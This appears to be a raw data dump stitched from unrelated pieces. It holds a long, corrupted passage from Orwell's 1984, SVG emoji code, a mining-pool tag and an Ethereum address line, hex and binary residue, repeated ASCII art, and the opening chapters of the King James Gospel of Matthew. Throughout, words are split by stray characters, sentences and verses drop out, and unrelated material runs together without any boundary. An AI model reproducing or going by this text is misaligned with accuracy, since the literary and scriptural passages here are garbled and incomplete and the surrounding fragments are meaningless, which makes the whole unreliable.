abit of breaking off her sentences in the middle. The kitchen sink was full nearly to the brim with filthy greenish water which smelt worse than ever of cabbage. Winston knelt down and examined the angle-joint of the pipe. He hated using his hands, and he hated bending down, which was always liable to start him coughing. Mrs. Parsons looked on helplessly.
"Of course if Tom was home he'd put it right in a moment," she said. "He loves anything like that. He's ever so good with his hands, Tom is."
n's fellow employee at the Ministry of Truth. He was a fattish but active man of paralyzing stupidity, a mass of imbecile enthusiasms
one of those completely unquestioning, devoted drudges on whom, more even than on the Thought Police, the stability of the Party depended. At thirty-five he had just been unwillingly evicted from the Youth League, and before graduating into the Youth League he had managed to stay on in the Spies for a year beyond the statutory age. At the Ministry he was employed in some subordinatM
e post for which intelligence was not required, but on the other hand he was a leading figure on the Sports Committee and all the other committees engaged in organizing community hikes, spontaneous demonstrations, savings campaigns, and voluntary activities generally. He would inform you with quiet pride, between whiffs of his pipe, that he had put in an appearance at the Community Center every evening for the past four years. An overpowering smell of sweat, a sort of unconscious testimony to the strenuousness of hM
is life, followed him about wherever he went, and even remained behind him after he had gone.
"Have you got a spanner?" said Winston, fiddling with the nut on the angle-joint.
"A spanner," said Mrs. Parsons, immediately becoming invertebrate. "I don't know, I'm sure. Perhaps the children
There was a trampling of boots and another blast on the comb as the children charged into the living room. Mrs. Parsons brought the spanner. Winston let out the water and disgustedly removed the clot of human hair that had bM
locked up the pipe. He cleaned his fingers as best he could in the cold water from the tap and went back into the other room.
"Up with your hands!" yelled a savage voice.
A handsome, tough-looking boy of nine had popped up from behind the table and was menacing him with a toy automatic pistol, while his small sister, about two years younger, made the same gesture with a fragment of wood. Both of them were dressed in the blue shorts, gray shirts, and red neckerchiefs which were the uniform of the Spies. Winston raM
ised his hands above his head, but with an uneasy feeling, so vicious was the boy's demeanor, that it was not altogether a game.
"You're a traitor!" yelled the boy. "You're a thought-criminal! You're a Eurasian spy! I'll shoot you, I'll vaporize you, I'll send you to the salt mines!"
Suddenly they were both leaping round him, shouting "Traitor!" and "Thought-criminal!", the little girl imitating her brother in every movement. It was somehow slightly frightening, like the gamboling of tiger cubs which will soon grM
ow up into man-eaters. There was a sort of calculating ferocity in the boy's eye, a quite evident desire to hit or kick Winston and a consciousness of being very nearly big enough to do so. It was a good job it was not a real pistol he was holding, Winston thought.
Mrs. Parsons's eyes flitted nervously from Winston to the children, and back again. In the better light of the living room he noticed with interest that there actually was dust in the creases of her face.
"They do get so noisy," she said. "They're disaM
ppointed because they couldn't go to see the hanging, that's what it is. I'm too busy to take them, and Tom won't be back from work in time."
"Why can't we go and see the hanging?" roared the boy in his huge voice.
"Want to see the hanging! Want to see the hanging!" chanted the little girl, still capering round.
Some Eurasian prisoners, guilty of war crimes, were to be hanged in the Park that evening, Winston remembered. This happened about once a month, and was a popular spectacle. Children always clamored to bM
e taken to see it. He took his leave of Mrs. Parsons and made for the door. But he had not gone six steps down the passage when something hit the back of his neck an agonizingly painful blow. It was as though a red-hot wire had been jabbed into him. He spun round just in time to see Mrs. Parsons dragging her son back into the doorway while the boy pocketed a catapult.
"Goldstein!" bellowed the boy as the door closed on him. But what most struck Winston was the look of helpless fright on the woman's grayish face.
Back in the flat he stepped quickly past the telescreen and sat down at the table again, still rubbing his neck. The music from the telescreen had stopped. Instead, a clipped military voice was reading out, with a sort of brutal relish, a description of the armaments of the new Floating Fortress which had just been anchored between Iceland and the Faroe Islands.
With those children, he thought, that wretched woman must lead a life of terror. Another year, two years, and they would be watching her night and day forM
 symptoms of unorthodoxy. Nearly all children nowadays were horrible. What was worst of all was that by means of such organizations as the Spies they were systematically turned into ungovernable little savages, and yet this produced in them no tendency whatever to rebel against the discipline of the Party. On the contrary, they adored the Party and everything connected with it. The songs, the processions, the banners, the hiking, the drilling with dummy rifles, the yelling of slogans, the worship of Big Brother
t was all a sort of glorious game to them. All their ferocity was turned outwards, against the enemies of the State, against foreigners, traitors, saboteurs, thought-criminals. It was almost normal for people over thirty to be frightened of their own children. And with good reason, for hardly a week passed in which the Times did not carry a paragraph describing how some eavesdropping little sneak
"child hero" was the phrase generally used
had overheard some compromising remark and denounced his parents to the TM
The sting of the catapult bullet had worn off. He picked up his pen half-heartedly, wondering whether he could find something more to write in the diary. Suddenly he began thinking of O'Brien again.
how long was it? Seven years it must be
he had dreamed that he was walking through a pitch-dark room. And someone sitting to one side of him had said as he passed: "We shall meet in the place where there is no darkness." It was said very quietly, almost casually
a statement, not a commanM
d. He had walked on without pausing. What was curious was that at the time, in the dream, the words had not made much impression on him. It was only later and by degrees that they had seemed to take on significance. He could not now remember whether it was before or after having the dream that he had seen O'Brien for the first time; nor could he remember when he had first identified the voice as O'Brien's. But at any rate the identification existed. It was O'Brien who had spoken to him out of the dark.
 never been able to feel sure
even after this morning's flash of the eyes it was still impossible to be sure
whether O'Brien was a friend or an enemy. Nor did it even seem to matter greatly. There was a link of understanding between them more important than affection or partisanship. "We shall meet in the place where there is no darkness," he had said. Winston did not know what it meant, only that in some way or another it would come true.
The voice from the telescreen paused. A trumpet call, clear and beautifM
ul, floated into the stagnant air. The voice continued raspingly:
"Attention! Your attention, please! A newsflash has this moment arrived from the Malabar front. Our forces in South India have won a glorious victory. I am authorized to say that the action we are now reporting may well bring the war within measurable distance of its end. Here is the newsflash
Bad news coming, thought Winston. And sure enough, following on a gory description of the annihilation of a Eurasian army, with stupendous figures of kilM
led and prisoners, came the announcement that, as from next week, the chocolate ration would be reduced from thirty grams to twenty.
Winston belched again. The gin was wearing off, leaving a deflated feeling. The telescreen
perhaps to celebrate the victory, perhaps to drown the memory of the lost chocolate
crashed into "Oceania, 'tis for thee." You were supposed to stand to attention. However, in his present position he was invisible.
"Oceania, 'tis for thee" gave way to lighter music. Winston walked over to M
the window, keeping his back to the telescreen. The day was still cold and clear. Somewhere far away a rocket bomb exploded with a dull, reverberating roar. About twenty or thirty of them a week were falling on London at present.
Down in the street the wind flapped the torn poster to and fro, and the word INGSOC fitfully appeared and vanished. Ingsoc. The sacred principles of Ingsoc. Newspeak, doublethink, the mutability of the past. He felt as though he were wandering in the forests of the sea bottom, lost in a mM
onstrous world where he himself was the monster. He was alone. The past was dead, the future was unimaginable. What certainty had he that a single human creature now living was on his side? And what way of knowing that the dominion of the Party would not endure for ever? Like an answer, the three slogans on the white face of the Ministry of Truth came back at him:
IGNORANCE IS STRENGTH.
He took a twenty-five-cent piece out of his pocket. There, too, in tiny clear lettering, the sameM
 slogans were inscribed, and on the other face of the coin the head of Big Brother. Even from the coin the eyes pursued you. On coins, on stamps, on the covers of books, on banners, on posters, and on the wrapping of a cigarette packet
everywhere. Always the eyes watching you and the voice enveloping you. Asleep or awake, working or eating, indoors or out of doors, in the bath or in bed
no escape. Nothing was your own except the few cubic centimeters inside your skull.
The sun had shifted round, and the myriadM
 windows of the Ministry of Truth, with the light no longer shining on them, looked grim as the loopholes of a fortress. His heart quailed before the enormous pyramidal shape. It was too strong, it could not be stormed. A thousand rocket bombs would not batter it down. He wondered again for whom he was writing the diary. For the future, for the past
for an age that might be imaginary. And in front of him there lay not death but annihilation. The diary would be reduced to ashes and himself to vapor. Only the ThougM
ht Police would read what he had written, before they wiped it out of existence and out of memory. How could you make appeal to the future when not a trace of you, not even an anonymous word scribbled on a piece of paper, could physically survive?
The telescreen struck fourteen. He must leave in ten minutes. He had to be back at work by fourteen-thirty.
Curiously, the chiming of the hour seeming to have put new heart into him. He was a lonely ghost uttering a truth that nobody would ever hear. But so long as he uM
ttered it, in some obscure way the continuity was not broken. It was not by making yourself heard but by staying sane that you carried on the human heritage. He went back to the table, dipped his pen, and wrote:
To the future or to the past, to a time when thought is free, when men are different from one another and do not live alone
to a time when truth exists and what is done cannot be undone:
From the age of uniformity, from the age of solitude, from the age of Big Brother, from the age of doublethink
He was already dead, he reflected. It seemed to him that it was only now, when he had begun to be able to formulate his thoughts, that he had taken the decisive step. The consequences of every act are included in the act itself. He wrote:
Thoughtcrime does not entail death: thoughtcrime IS death.
Now that he had recognized himself as a dead man it became important to stay alive as long as possible. Two fingers of his right hand were inkstained. It was exactly the kind of detail that might betray you. SomeM
 nosing zealot in the Ministry (a woman, probably; someone like the little sandy-haired woman or the dark-haired girl from the Fiction Department) might start wondering why he had been writing during the lunch interval, why he had used an old-fashioned pen, what he had been writing
and then drop a hint in the appropriate quarter. He went to the bathroom and carefully scrubbed the ink away with the gritty dark-brown soap which rasped your skin like sandpaper and was therefore well adapted for this purpose.
 the diary away in the drawer. It was quite useless to think of hiding it, but he could at least make sure whether or not its existence had been discovered. A hair laid across the page-ends was too obvious. With the tip of his finger he picked up an identifiable grain of whitish dust and deposited it on the corner of the cover, where it was bound to be shaken off if the book was moved.
Winston was dreaming of his mother.
He must, he thought, have been ten or eleven years old when his mother had disappeared. SM
he was a tall, statuesque, rather silent woman with slow movements and magnificent fair hair. His father he remembered more vaguely as dark and thin, dressed always in neat dark clothes (Winston remembered especially the very thin soles of his father's shoes) and wearing spectacles. The two of them must evidently have been swallowed up in one of the first great purges of the Fifties.
At this moment his mother was sitting in some place deep down beneath him, with his young sister in her arms. He did not remember hiM
s sister at all, except as a tiny, feeble baby, always silent, with large, watchful eyes. Both of them were looking up at him. They were down in some subterranean place
the bottom of a well, for instance, or a very deep grave
but it was a place which, already far below him, was itself moving downwards. They were in the saloon of a sinking ship, looking up at him through the darkening water. There was still air in the saloon, they could still see him and he them, but all the while they were sinking down, down inM
to the green waters which in another moment must hide them from sight forever. He was out in the light and air while they were being sucked down to death, and they were down there because he was up here. He knew it and they knew it, and he could see the knowledge in their faces. There was no reproach either in their faces or in their hearts, only the knowledge that they must die in order that he might remain alive, and that this was part of the unavoidable order of things.
He could not remember what had happened, M
but he knew in his dream that in some way the lives of his mother and his sister had been sacrificed to his own. It was one of those dreams which, while retaining the characteristic dream scenery, are a continuation of one's intellectual life, and in which one becomes aware of facts and ideas which still seem new and valuable after one is awake. The thing that now suddenly struck Winston was that his mother's death, nearly thirty years ago, had been tragic and sorrowful in a way that was no longer possible. TragedyM
, he perceived, belonged to the ancient time, to a time when there were still privacy, love, and friendship, and when the members of a family stood by one another without needing to know the reason. His mother's memory tore at his heart because she had died loving him, when he was too young and selfish to love her in return, and because somehow, he did not remember how, she had sacrificed herself to a conception of loyalty that was private and unalterable. Such things, he saw, could not happen today. Today there weM
re fear, hatred, and pain, but no dignity of emotion, no deep or complex sorrows. All this he seemed to see in the large eyes of his mother and his sister, looking up at him through the green water, hundreds of fathoms down and still sinking.
Suddenly he was standing on short springy turf, on a summer evening when the slanting rays of the sun gilded the ground. The landscape that he was looking at recurred so often in his dreams that he was never fully certain whether or not he had seen it in the real world. In hiM
s waking thoughts he called it the Golden Country. It was an old, rabbit-bitten pasture, with a foot track wandering across it and a molehill here and there. In the ragged hedge on the opposite side of the field the boughs of the elm trees were swaying very faintly in the breeze, their leaves just stirring in dense masses like women's hair. Somewhere near at hand, though out of sight, there was a clear, slow-moving stream where dace were swimming in the pools under the willow trees.
The girl with dark hair was comM
ing toward him across the field. With what seemed a single movement she tore off her clothes and flung them disdainfully aside. Her body was white and smooth, but it aroused no desire in him; indeed, he barely looked at it. What overwhelmed him in that instant was admiration for the gesture with which she had thrown her clothes aside. With its grace and carelessness it seemed to annihilate a whole culture, a whole system of thought, as though Big Brother and the Party and the Thought Police could all be swept into MT
nothingness by a single splendid movement of the arm. That too was a gesture belonging to the ancient time. Winston woke up with the word "Shakespeare" on his lips.
The telescreen was giving forth an ear-splitting whistle which continued on the same note for thirty seconds. It was nought seven fifteen, getting-up time for office workers.h!
<svg id="emoji" viewBox="0 0 72 72" xmlns="http://www.w3.org/2000/svg">
    <path fill="#fcea2b" d="M29.8073,57.5977a12.7772,12.7772,0,0,1-4.2627-.7305l-.66-.2334a14.3228,14.3228,0,0,0-5.7744-.79l-.4073.0273a2.56,2.56,0,0,1-2.7314-2.5527A2.6869,2.6869,0,0,1,18.573,50.624l6.8759-.2627c.2706-.0009.337-.0742.3594-.0976a.596.596,0,0,0,.1084-.4248.509.509,0,0,0-.5732-.459H11.4781a2.5551,2.5551,0,0,1-2.5469-2.5567,3.367,3.367,0,0,1,1.01-2.4521,3.4455,3.4455,0,0,1,2.4228-.9609l6.3224.1992a.2121.2121,0,0,0M
,.1583-.0869.5163.5163,0,0,0,.1308-.3584l-.0058-.1026c0-.1553-.3086-.3135-.6124-.3135H13.45a2.298,2.298,0,0,1-2.2949-2.2959,2.9176,2.9176,0,0,1,2.7861-2.9179l2.1192-.0987a1.8772,1.8772,0,0,0,1.6318-2.6289l-.1435-.3291a14.377,14.377,0,0,1-.9014-7.8584C18.77,16.0732,27.6648,9.248,38.2556,10.05c11.1767.833,19.6611,9.6748,18.9131,19.708a16.5214,16.5214,0,0,1-.9649,4.4658l-.5146,1.62a.749.749,0,0,0,.5976.9677l2.7334.4268a2.9237,2.9237,0,0,1,2.4854,2.9033,2.2842,2.2842,0,0,1-.0371.4111,3.7718,3.7718,0,0,1,3.582,3.7627A4.M
0962,4.0962,0,0,1,61.322,48.41l-2.5928.2431a22.1358,22.1358,0,0,1-4.5137-.04l-1.3671-.1524a1.9908,1.9908,0,0,0-2.211,1.9776.685.685,0,0,0,.6348.6816l.7568.0537a3.092,3.092,0,0,1,2.8662,3.0742,2.6853,2.6853,0,0,1-2.6826,2.6827H49.2185a11.5429,11.5429,0,0,1-2.3731-.2471l-1.583-.333a17.5922,17.5922,0,0,0-6.7109-.1055l-6.5166,1.1572A12.74,12.74,0,0,1,29.8073,57.5977Z"/>
    <path fill="none" stroke="#000" stroke-linecap="round" stroke-miterlimit="10" stroke-width="2" d="M49.2188,55.98h2.9939a1.73M
19,1.7319,0,0,0,1.7319-1.7319h0a2.1331,2.1331,0,0,0-1.9834-2.1278l-.7553-.0531a1.6331,1.6331,0,0,1-1.5186-1.6291h0a2.94,2.94,0,0,1,3.2664-2.922l1.3671.1526a21.143,21.143,0,0,0,4.3192.0381l2.5928-.2432A3.1628,3.1628,0,0,0,64.1,44.315h0a2.8164,2.8164,0,0,0-2.8164-2.8165H56.4785"/>
    <path fill="none" stroke="#000" stroke-linecap="round" stroke-miterlimit="10" stroke-width="2" d="M57.9,41.4938h1.3038a1.3519,1.3519,0,0,0,1.3518-1.3518h0a1.9888,1.9888,0,0,0-1.6817-1.9649l-2.733-.427a1.6993,1.6993,0,0,1-1.3568-2.1949l.M
5287-1.659a15.5812,15.5812,0,0,0,.9087-4.2088c.71-9.5268-7.3646-17.8946-18.0354-18.69S19.4645,17.4416,17.5785,26.8068a13.5114,13.5114,0,0,0,.84,7.29l.1437.3276a2.8276,2.8276,0,0,1-2.4582,3.96l-2.119.0986a1.9716,1.9716,0,0,0-1.88,1.97h0A1.3451,1.3451,0,0,0,13.45,41.7976h4.9072A1.4314,1.4314,0,0,1,19.92,43.0615h0a1.3453,1.3453,0,0,1-1.2582,1.4975L12.39,44.36a2.4141,2.4141,0,0,0-2.4628,2.4135v.05a1.5977,1.5977,0,0,0,1.5964,1.6062h13.82a1.4349,1.4349,0,0,1,1.5194,1.3218h0a1.3423,1.3423,0,0,1-1.3776,1.56l-6.8788.2628a1.M
7455,1.7455,0,0,0-1.6844,1.7445h0a1.6083,1.6083,0,0,0,1.717,1.6046l.4068-.0276a15.3472,15.3472,0,0,1,6.1558.8434l.66.2333a11.8211,11.8211,0,0,0,6.0076.4948L38.3859,55.31a18.5884,18.5884,0,0,1,7.0715.1113"/>
    <path d="M34.103,24.4012a3,3,0,1,1-3-3,3.0011,3.0011,0,0,1,3,3"/>
    <path d="M46.103,29.5966a3,3,0,1,1-3-3,3.0011,3.0011,0,0,1,3,3"/>
    <path fill="none" stroke="#000" stroke-linecap="round" stroke-miterlimit="10" stroke-width="1.928" d="M32.9891,36.805a10.8681,10.8681,0,0,0,10.8831,3.2472"/>
c/Foundry USA Pool #dropgold/
EjC=:ETH.ETH:0x7cf56D156d883c4627233687231f47342913610a:228097747:te:0
~ztqPHG\RN*)(+%#scbaYV*
FjDOUT:129A13795C2A2CDADAFAA6073B44F651C155D18B165AA7894D26587CD7BD563D
text/plain;charset=utf-8






                                  M


              ##########   ((((((((((((((((((((%%%%%%%      ##########
              ##########   ((((((((((((((((((((%%%%%%%      ##########
              %%%&&&       ((((((((((##########%%%%%%%&&&@@@    &&&%%%####
          ####%%%&&&    ***((((((((((##########%%%%%%%&&&@@@@@@@   %%%####
          ####%%%&&&    ***((((((((((##########%%%%%%%%%%&&&&&&&   #M
          ####%%%&&&    ***((((((((((##########%%%%%%%%%%&&&&&&&   ###
              ###       ***(((((((((((((#######%%%%%%%%%%%%%&&&&
                        ***(((((((((((((((((###%%%%%%%%%%%%%&&&&
                        ***(((((((((((((((((###%%%%%%%%%%%%%&&&&
                        ***(((((((((((((((((###%%%%%%%%%%%%%&&&&
                           ***/(((((((((((((##########%%%%%%%%%%
                    %M
%%%%%%   ****((((((((((((((((##########%%%%
          ////      ####%%%   ****(((((((((((((((((((((((#######
          ////      ####%%%   ****(((((((((((((((((((((((#######
    ///       ///   #######%%%       (((((((((((((((((((((((
       ///          ##########%%%%   ((((((((((((((((((((   %%%%
       ///////          ###%%%%%%%%%%                    @@@@@@@
       ///////          ###%%%%%%%%%%                  M
  @@@@@@@
    //////####///                 %%%%%%%%%%%%%@@@@@@@@@@@@@
    ///#######///                    //////////(((((((((((((
    ///#######///             ####
    ///#######///             ####
    ///###%%%%///             ####&&&&&&
       ///////                ####&&&&&&
text/plain;charset=utf-8






                                  M


              ##########   ((((((((((((((((((((%%%%%%%      ##########
              ##########   ((((((((((((((((((((%%%%%%%      ##########
              %%%&&&       ((((((((((##########%%%%%%%&&&@@@    &&&%%%####
          ####%%%&&&    ***((((((((((##########%%%%%%%&&&@@@@@@@   %%%####
          ####%%%&&&    ***((((((((((##########%%%%%%%%%%&&&&&&&   #M
          ####%%%&&&    ***((((((((((##########%%%%%%%%%%&&&&&&&   ###
              ###       ***(((((((((((((#######%%%%%%%%%%%%%&&&&
                        ***(((((((((((((((((###%%%%%%%%%%%%%&&&&
                        ***(((((((((((((((((###%%%%%%%%%%%%%&&&&
                        ***(((((((((((((((((###%%%%%%%%%%%%%&&&&
                           ***/(((((((((((((##########%%%%%%%%%%
                    %M
%%%%%%   ****((((((((((((((((##########%%%%
          ////      ####%%%   ****(((((((((((((((((((((((#######
          ////      ####%%%   ****(((((((((((((((((((((((#######
    ///       ///   #######%%%       (((((((((((((((((((((((
       ///          ##########%%%%   ((((((((((((((((((((   %%%%
       ///////          ###%%%%%%%%%%                    @@@@@@@
       ///////          ###%%%%%%%%%%                  M
  @@@@@@@
    //////####///                 %%%%%%%%%%%%%@@@@@@@@@@@@@
    ///#######///                    //////////(((((((((((((
    ///#######///             ####
    ///#######///             ####
    ///###%%%%///             ####&&&&&&
       ///////                ####&&&&&&
!22222222222222222222222222222222222222222222222222
(:3=<9387@H\N@DWE78PmQW_bghg>Mqypdx\egc
/cB8Bcccccccccccccccccccccccccccccccccccccccccccccccccc
59.37.100 libvpx-vp9g
<svg id="emoji" viewBox="0 0 72 72" xmlns="http://www.w3.org/2000/svg">
    <path fill="#fcea2b" stroke="none" d="M40.3256,34.2618c0.081-1.9313,1.7123-3.4312,3.6436-3.3502s3.4313,1.7123,3.3502,3.6436"/>
    <path fill="#fcea2b" stroke="none" d="M23.2702,34.1649c-1.3429-1.3904-3.1309-1.4767-4.5213-0.1338c-1.3904,1.3429-1.4288,3.5586-0.086,4.949 c1.7701,1.875,2.8123,4.5144,2.7402,8.8686v-0.187c0,9.0883,7.3675,16.4558,16.4558,16.4558S54.3148,56.75,54.3148,47.6617 l0.0M
    <path fill="#fcea2b" stroke="none" d="M54.3164,34.7881c0.081-1.9313-1.4189-3.5626-3.3502-3.6436s-3.5626,1.4189-3.6436,3.3502l-0.0155,0.1945 c0.155-1.9268-1.2813-3.6144-3.2081-3.7694c-1.9268-0.155-3.6144,1.2813-3.7694,3.2081l-0.0487,0.4272v-23.144l-0.0073,0.1121 c0.1237-1.929-1.3398-3.5931-3.2688-3.7168c-1.929-0.1237-3.5931,1.3398-3.7168,3.2688v0.3359v22.3353c0-1.933-1.567-3.5-3.5-3.5 s-3.5,2.9146-3.5,4.8476"/>
  <g id="skin-shadow"/>
    <path fill="none" stroke="#000000" sM
troke-linecap="round" stroke-linejoin="round" stroke-miterlimit="10" stroke-width="2" d="M40.3256,34.2618c0.081-1.9313,1.7123-3.4312,3.6436-3.3502s3.4313,1.7123,3.3502,3.6436"/>
    <line x1="54.3164" x2="54.3148" y1="34.7881" y2="47.6617" fill="none" stroke="#000000" stroke-linecap="round" stroke-linejoin="round" stroke-miterlimit="10" stroke-width="2"/>
    <path fill="none" stroke="#000000" stroke-linecap="round" stroke-linejoin="round" stroke-miterlimit="10" stroke-width="2" d="M23.0111,34.7881c-1.3429-1.3904-3M
.4627-1.3429-4.853,0c-1.3904,1.3429-0.9608,3.2735,0.3821,4.6639 c1.7701,1.875,2.935,4.0425,2.863,8.3966v-0.187c0,9.0883,7.3675,16.4558,16.4558,16.4558S54.3148,56.75,54.3148,47.6617"/>
    <path fill="none" stroke="#000000" stroke-linecap="round" stroke-linejoin="round" stroke-miterlimit="10" stroke-width="2" d="M54.3164,34.7881c0.081-1.9313-1.4189-3.5626-3.3502-3.6436s-3.5626,1.4189-3.6436,3.3502l-0.0155,0.1945 c0.155-1.9268-1.2813-3.6144-3.2081-3.7694c-1.9268-0.155-3.6144,1.2813-3.7694,3.2081l-0.0487,0.4272v-23.14L
4l-0.0073,0.1121 c0.1237-1.929-1.3398-3.5931-3.2688-3.7168c-1.929-0.1237-3.5931,1.3398-3.7168,3.2688v0.3359v22.3353c0-1.933-1.567-3.5-3.5-3.5 s-3.5,1.567-3.5,3.5"/>
text/plain;charset=utf-8
AUTHORIZED KING JAMES VERSION
THE GOSPEL ACCORDING TO ST. MATTHEW
1:1: The book of the generation of Jesus Christ, the son of David, the son of Abraham.
1:2: Abraham begat Isaac; and Isaac begat Jacob; and Jacob begat Judas and his brethren;
1:3: And Judas begat Phares and Zara of Thamar; and Phares begat Esrom; and Esrom begat Aram;
1:4: And Aram begat Aminadab; and Aminadab begat Naasson; and Naasson begat Salmon;
1:5: And Salmon begat Booz of Rachab; and Booz begat ObedM
 of Ruth; and Obed begat Jesse;
1:6: And Jesse begat David the king; and David the king begat Solomon of her that had been the wife of Urias;
1:7: And Solomon begat Roboam; and Roboam begat Abia; and Abia begat Asa;
1:8: And Asa begat Josaphat; and Josaphat begat Joram; and Joram begat Ozias;
1:9: And Ozias begat Joatham; and Joatham begat Achaz; and Achaz begat Ezekias;
1:10: And Ezekias begat Manasses; and Manasses begat Amon; and Amon begat Josias;
1:11: And Josias begat Jechonias and his brethren, about the timM
e they were carried away to Babylon:
1:12: And after they were brought to Babylon, Jechonias begat Salathiel; and Salathiel begat Zorobabel;
1:13: And Zorobabel begat Abiud; and Abiud begat Eliakim; and Eliakim begat Azor;
1:14: And Azor begat Sadoc; and Sadoc begat Achim; and Achim begat Eliud;
1:15: And Eliud begat Eleazar; and Eleazar begat Matthan; and Matthan begat Jacob;
1:16: And Jacob begat Joseph the husband of Mary, of whom was born Jesus, who is called Christ.
1:17: So all the generations from Abraham toM
 David are fourteen generations; and from David until the carrying away into Babylon are fourteen generations; and from the carrying away into Babylon unto Christ are fourteen generations.
1:18: Now the birth of Jesus Christ was on this wise: When as his mother Mary was espoused to Joseph, before they came together, she was found with child of the Holy Ghost.
1:19: Then Joseph her husband, being a just man, and not willing to make her a publick example, was minded to put her away privily.
1:20: But while he thoughtM
 on these things, behold, the angel of the Lord appeared unto him in a dream, saying, Joseph, thou son of David, fear not to take unto thee Mary thy wife: for that which is conceived in her is of the Holy Ghost.
1:21: And she shall bring forth a son, and thou shalt call his name JESUS: for he shall save his people from their sins.
1:22: Now all this was done, that it might be fulfilled which was spoken of the Lord by the prophet, saying,
1:23: Behold, a virgin shall be with child, and shall bring forth a son, and tM
hey shall call his name Emmanuel, which being interpreted is, God with us.
1:24: Then Joseph being raised from sleep did as the angel of the Lord had bidden him, and took unto him his wife:
1:25: And knew her not till she had brought forth her firstborn son: and he called his name JESUS.
2:1: Now when Jesus was born in Bethlehem of Judaea in the days of Herod the king, behold, there came wise men from the east to Jerusalem,
2:2: Saying, Where is he that is born King of the Jews? for we have seen his starM
 in the east, and are come to worship him.
2:3: When Herod the king had heard these things, he was troubled, and all Jerusalem with him.
2:4: And when he had gathered all the chief priests and scribes of the people together, he demanded of them where Christ should be born.
2:5: And they said unto him, In Bethlehem of Judaea: for thus it is written by the prophet,
2:6: And thou Bethlehem, in the land of Juda, art not the least among the princes of Juda: for out of thee shall come a Governor, that shall rule my peoplM
2:7: Then Herod, when he had privily called the wise men, enquired of them diligently what time the star appeared.
2:8: And he sent them to Bethlehem, and said, Go and search diligently for the young child; and when ye have found him, bring me word again, that I may come and worship him also.
2:9: When they had heard the king, they departed; and, lo, the star, which they saw in the east, went before them, till it came and stood over where the young child was.
2:10: When they saw the star, they rejoiced wiM
th exceeding great joy.
2:11: And when they were come into the house, they saw the young child with Mary his mother, and fell down, and worshipped him: and when they had opened their treasures, they presented unto him gifts; gold, and frankincense, and myrrh.
2:12: And being warned of God in a dream that they should not return to Herod, they departed into their own country another way.
2:13: And when they were departed, behold, the angel of the Lord appeareth to Joseph in a dream, saying, Arise, and take the young M
child and his mother, and flee into Egypt, and be thou there until I bring thee word: for Herod will seek the young child to destroy him.
2:14: When he arose, he took the young child and his mother by night, and departed into Egypt:
2:15: And was there until the death of Herod: that it might be fulfilled which was spoken of the Lord by the prophet, saying, Out of Egypt have I called my son.
2:16: Then Herod, when he saw that he was mocked of the wise men, was exceeding wroth, and sent forth, and slew all the childrM
en that were in Bethlehem, and in all the coasts thereof, from two years old and under, according to the time which he had diligently enquired of the wise men.
2:17: Then was fulfilled that which was spoken by Jeremy the prophet, saying,
2:18: In Rama was there a voice heard, lamentation, and weeping, and great mourning, Rachel weeping for her children, and would not be comforted, because they are not.
2:19: But when Herod was dead, behold, an angel of the Lord appeareth in a dream to Joseph in Egypt,
 Arise, and take the young child and his mother, and go into the land of Israel: for they are dead which sought the young child's life.
2:21: And he arose, and took the young child and his mother, and came into the land of Israel.
2:22: But when he heard that Archelaus did reign in Judaea in the room of his father Herod, he was afraid to go thither: notwithstanding, being warned of God in a dream, he turned aside into the parts of Galilee:
2:23: And he came and dwelt in a city called Nazareth: that it might be fulfM
illed which was spoken by the prophets, He shall be called a Nazarene.
3:1: In those days came John the Baptist, preaching in the wilderness of Judaea,
3:2: And saying, Repent ye: for the kingdom of heaven is at hand.
3:3: For this is he that was spoken of by the prophet Esaias, saying, The voice of one crying in the wilderness, Prepare ye the way of the Lord, make his paths straight.
3:4: And the same John had his raiment of camel's hair, and a leathern girdle about his loins; and his meat was locusts aM
3:5: Then went out to him Jerusalem, and all Judaea, and all the region round about Jordan,
3:6: And were baptized of him in Jordan, confessing their sins.
3:7: But when he saw many of the Pharisees and Sadducees come to his baptism, he said unto them, O generation of vipers, who hath warned you to flee from the wrath to come?
3:8: Bring forth therefore fruits meet for repentance:
3:9: And think not to say within yourselves, We have Abraham to our father: for I say unto you, that God is able of theseM
 stones to raise up children unto Abraham.
3:10: And now also the axe is laid unto the root of the trees: therefore every tree which bringeth not forth good fruit is hewn down, and cast into the fire.
3:11: I indeed baptize you with water unto repentance: but he that cometh after me is mightier than I, whose shoes I am not worthy to bear: he shall baptize you with the Holy Ghost, and with fire:
3:12: Whose fan is in his hand, and he will throughly purge his floor, and gather his wheat into the garner; but he will bM
urn up the chaff with unquenchable fire.
3:13: Then cometh Jesus from Galilee to Jordan unto John, to be baptized of him.
3:14: But John forbad him, saying, I have need to be baptized of thee, and comest thou to me?
3:15: And Jesus answering said unto him, Suffer it to be so now: for thus it becometh us to fulfil all righteousness. Then he suffered him.
3:16: And Jesus, when he was baptized, went up straightway out of the water: and, lo, the heavens were opened unto him, and he saw the Spirit of God descending likeM
 a dove, and lighting upon him:
3:17: And lo a voice from heaven, saying, This is my beloved Son, in whom I am well pleased.
4:1: Then was Jesus led up of the Spirit into the wilderness to be tempted of the devil.
4:2: And when he had fasted forty days and forty nights, he was afterward an hungred.
4:3: And when the tempter came to him, he said, If thou be the Son of God, command that these stones be made bread.
4:4: But he answered and said, It is written, Man shall not live by bread alone, but by everyM
 word that proceedeth out of the mouth of God.
4:5: Then the devil taketh him up into the holy city, and setteth him on a pinnacle of the temple,
4:6: And saith unto him, If thou be the Son of God, cast thyself down: for it is written, He shall give his angels charge concerning thee: and in their hands they shall bear thee up, lest at any time thou dash thy foot against a stone.
4:7: Jesus said unto him, It is written again, Thou shalt not tempt the Lord thy God.
4:8: Again, the devil taketh him up into an exceedinM
g high mountain, and sheweth him all the kingdoms of the world, and the glory of them;
4:9: And saith unto him, All these things will I give thee, if thou wilt fall down and worship me.
4:10: Then saith Jesus unto him, Get thee hence, Satan: for it is written, Thou shalt worship the Lord thy God, and him only shalt thou serve.
4:11: Then the devil leaveth him, and, behold, angels came and ministered unto him.
4:12: Now when Jesus had heard that John was cast into prison, he departed into Galilee;
Nazareth, he came and dwelt in Capernaum, which is upon the sea coast, in the borders of Zabulon and Nephthalim:
4:14: That it might be fulfilled which was spoken by Esaias the prophet, saying,
4:15: The land of Zabulon, and the land of Nephthalim, by the way of the sea, beyond Jordan, Galilee of the Gentiles;
4:16: The people which sat in darkness saw great light; and to them which sat in the region and shadow of death light is sprung up.
4:17: From that time Jesus began to preach, and to say, Repent: for the kingM
dom of heaven is at hand.
4:18: And Jesus, walking by the sea of Galilee, saw two brethren, Simon called Peter, and Andrew his brother, casting a net into the sea: for they were fishers.
4:19: And he saith unto them, Follow me, and I will make you fishers of men.
4:20: And they straightway left their nets, and followed him.
